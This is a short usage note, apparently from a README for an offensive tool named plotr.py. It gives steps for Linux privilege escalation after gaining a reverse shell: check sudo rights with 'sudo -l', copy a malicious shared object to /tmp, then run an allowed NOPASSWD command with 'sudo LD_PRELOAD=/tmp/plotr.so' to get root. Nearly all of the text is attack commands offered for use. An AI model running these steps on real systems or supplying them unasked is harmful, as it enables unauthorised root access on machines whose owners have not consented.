Usage chmod +x plotr.py ./plotr.py if you show like a below then "sudo -l" after the shell via reverse shell mv plotr.so /tmp/plotr.so sudo LD_PRELOAD=/tmp/plotr.so <nopasswd command>